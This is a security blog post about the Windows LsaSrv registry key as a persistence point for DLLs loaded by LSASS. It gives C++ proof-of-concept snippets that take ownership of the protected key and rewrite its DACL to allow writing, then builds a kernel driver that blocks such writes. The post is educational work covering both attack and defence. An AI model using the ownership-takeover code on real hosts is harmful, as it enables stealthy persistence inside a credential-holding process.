Registry: LsaSrv
Introduction
Grzegorz Tworek discovered that the LsaSrv registry key could be potentially used for persistence on the host since it contains the list of DLLs that LSASS.exe automatically loads. However, it requires a little bit of work to modify its value due to its original permissions. Therefore, I figured it might be a good exercise to write a small PoC updating the aforementioned key and also to write a simple kernel driver preventing any writes to it. As usual the main idea is to have fun and learn something along the way =D
And before we begin I would like to mention again that I am not a C++ expert. Please forgive my horrible coding.
LsaSrv Reg Key
Let's examine the LsaSrv registry key's permissions using regedit.exe. You will notice that its original owner is set to TrustedInstaller and the Administrators group has only READ access to it. Therefore, any attempts to update this registry key's data will result in "Access Denied". So, we will have update the key owner, gain WRITE_DAC
access right, update the key's discreate access control list (DACL) and only after that we will be able to write new data in it.
The first step is to open a handle to this registry key with KEY_READ
access right.
#define LSASVR_KEY TEXT("SYSTEM\\CurrentControlSet\\Control\\LsaExtensionConfig\\LsaSrv")
LSTATUS lStatus = RegOpenKeyEx(HKEY_LOCAL_MACHINE, LSASVR_KEY, 0, KEY_READ, &hKey);
And after that we will need to get the current user's security identifier (SID) with the help of OpenProcessToken
, GetTokenInformation
, and IsValidSid
functions.
HANDLE hToken = NULL;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
DWORD dwSidBufferSize = 0;
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSidBufferSize);
std::vector<BYTE> buffer;
buffer.resize(dwSidBufferSize);
PTOKEN_USER pTokenUser = reinterpret_cast<PTOKEN_USER>(&buffer[0]);
GetTokenInformation(hToken, TokenUser, pTokenUser, dwSidBufferSize, &dwSidBufferSize);
IsValidSid(pTokenUser->User.Sid);
Then you will need the SE_TAKE_OWNERSHIP_NAME
privilege to change the key's owner. And as administrator you can get it with the help of LookupPrivilegeValue
and AdjustTokenPrivileges
.
And finally, the SetSecurityInfo
with SECURITY_INFORMATION
set to OWNER_SECURITY_INFORMATION
will set the current user as a key's owner. After that you will have the WRITE_DAC
access right to this registry key needed to update its DACL.
PSID newOwnerSid = pTokenUser->User.Sid;
SetSecurityInfo(hKey, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, newOwnerSid, NULL, NULL, NULL);
To update the key's DACL we will need to retrieve its original DACL using RegGetKeySecurity
, GetSecurityDescriptorDacl
, and GetAclInformation
.
PSECURITY_DESCRIPTOR psd;
RegGetKeySecurity(hKey, DACL_SECURITY_INFORMATION, psd, &dwSdSizeNeeded);
PACL pDacl;
BOOL bDaclPresent;
BOOL bDaclExist;
GetSecurityDescriptorDacl(psd, &bDaclPresent, &pDacl, &bDaclExist);
ACL_SIZE_INFORMATION aclSizeInfo;
ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));
aclSizeInfo.AclBytesInUse = sizeof(ACL);
GetAclInformation(pDacl, (LPVOID)&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION), AclSizeInformation);
Then we will create a new DACL, and a new access control list (ACL) with an access control entry (ACE) granting the current user Full Control
access rights. After that copy over the original access control entries into the new DACL preserving the original permissions.
PACL pNewDacl;
InitializeAcl(pNewDacl, dwNewAclSize, ACL_REVISION);
pace = (ACCESS_ALLOWED_ACE*)LocalAlloc(LMEM_FIXED, sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(pSid) - sizeof(DWORD));
pace->Header.AceType = ACCESS_ALLOWED_ACE_TYPE;
pace->Header.AceFlags = CONTAINER_INHERIT_ACE;
pace->Header.AceSize = LOWORD(sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(pSid) - sizeof(DWORD));
pace->Mask = KEY_ALL_ACCESS;
if (bDaclPresent) {
if (aclSizeInfo.AceCount) {
for (i = 0; i < aclSizeInfo.AceCount; i++) {
if (!GetAce(pDacl, i, &pTempAce)) { return 1; }
if (!AddAce(pNewDacl, ACL_REVISION, MAXDWORD, pTempAce, ((PACE_HEADER)pTempAce)->AceSize)) { return FALSE; }
}
}
}
And update the original DACL with the new DACL using SetSecurityDescriptorDacl
, RegSetKeySecurity
.
SetSecurityDescriptorDacl(psdNew, TRUE, pNewDacl, FALSE);
si |= PROTECTED_DACL_SECURITY_INFORMATION;
RegSetKeySecurity(hKey, si, psdNew);
Once this is done you should have no issues modifying the LsaSrv registry key data.
The full code could be found here.
Detection
One way to prevent the LsaSrv registry key access is through a kernel driver notification callbacks. We will have to use the CmRegisterCallbackEx
function for this purpose.
NTSTATUS CmRegisterCallbackEx(
[in] PEX_CALLBACK_FUNCTION Function,
[in] PCUNICODE_STRING Altitude,
[in] PVOID Driver,
[in, optional] PVOID Context,
[out] PLARGE_INTEGER Cookie,
PVOID Reserved
);
Where the callback function prototype is:
NTSTATUS ExCallbackFunction(
[in] PVOID CallbackContext,
[in, optional] PVOID Argument1,
[in, optional] PVOID Argument2
);
The Argument1
is a REG_NOTIFY_CLASS
-typed value that identifies the type of registry operation that is being performed. And the second argument is a pointer to a structure relevant to Argument1
. You can find all the possible REG_NOTIFY_CLASS
values here. In our case we are interested in the RegNtPreSetValueKey
and the related REG_SET_VALUE_KEY_INFORMATION
structure:
typedef struct _REG_SET_VALUE_KEY_INFORMATION {
PVOID Object;
PUNICODE_STRING ValueName;
ULONG TitleIndex;
ULONG Type;
PVOID Data;
ULONG DataSize;
PVOID CallContext;
PVOID ObjectContext;
PVOID Reserved;
} REG_SET_VALUE_KEY_INFORMATION, *PREG_SET_VALUE_KEY_INFORMATION;
In case you decide to use kernel driver to generate registry telemetry for let's say upcoming MITRE evaluation or whatever - note that the registry callback will be invoked for EVERY registry operation and you cannot in advance filter out to certain operations only. Therefore, it might be better to avoid monitoring registry read operations through a kernel driver and limit it to write and create operations. In any case, the full driver code can be found here. I did not create a driver client for this, instead I used lazy KdPrint
statements and Sysinternals DebugView.exe to check the driver's output. But in case you want to create a full client for the driver the great place to start is the "Windows Kernel Programming" book by Pavel Yosifovich and his amazing GitHub repo.
Final Run
Now let's put it all together and see if our "EDR" 🤣 prevents the LsaSrv registry key write operation.
Here are the steps to install and load the compiled kernel driver:
- Put your VM in a testsigning mode
bcdedit /set testsigning on
- Reboot
- Install the driver
sc create regmon_service type= kernel binpath= C:\dev\regmon.sys
- And load it
sc start regmon_service
You can use Sysinternals Process Explorer to check if your driver is loaded by the System.
And here are the steps to start running Sysinternals DebugView.exe to monitor the driver's KdPrint
statements:
- Create the registry key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Debug Print Filter
and add a newREG_DWORD
key valueDEFAULT
with the data set to8
. - Reboot
- Run DebugView.exe elevated and select
Capture Kernel
option
Once the kernel driver is installed and loaded - try to run the PoC again to modify the LsaSrv registry key value - it won't work for obvious reasons.
Note that the kernel driver prevented the registry key update but the key owner and DACL were changed since we were only acting on RegNtPreSetValueKey
, you probably will have to use RegNtPreOpenKey
to stop this.
Also remember that since this driver uses callbacks - it must have the IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY
flag set in its PE image header. In VisualStudio you can set it in the linker command line options with /integritycheck
. If this flag is missing you will have a hard time loading this driver - speaking from personal experience 😑😛
And that's all I got for today. Later!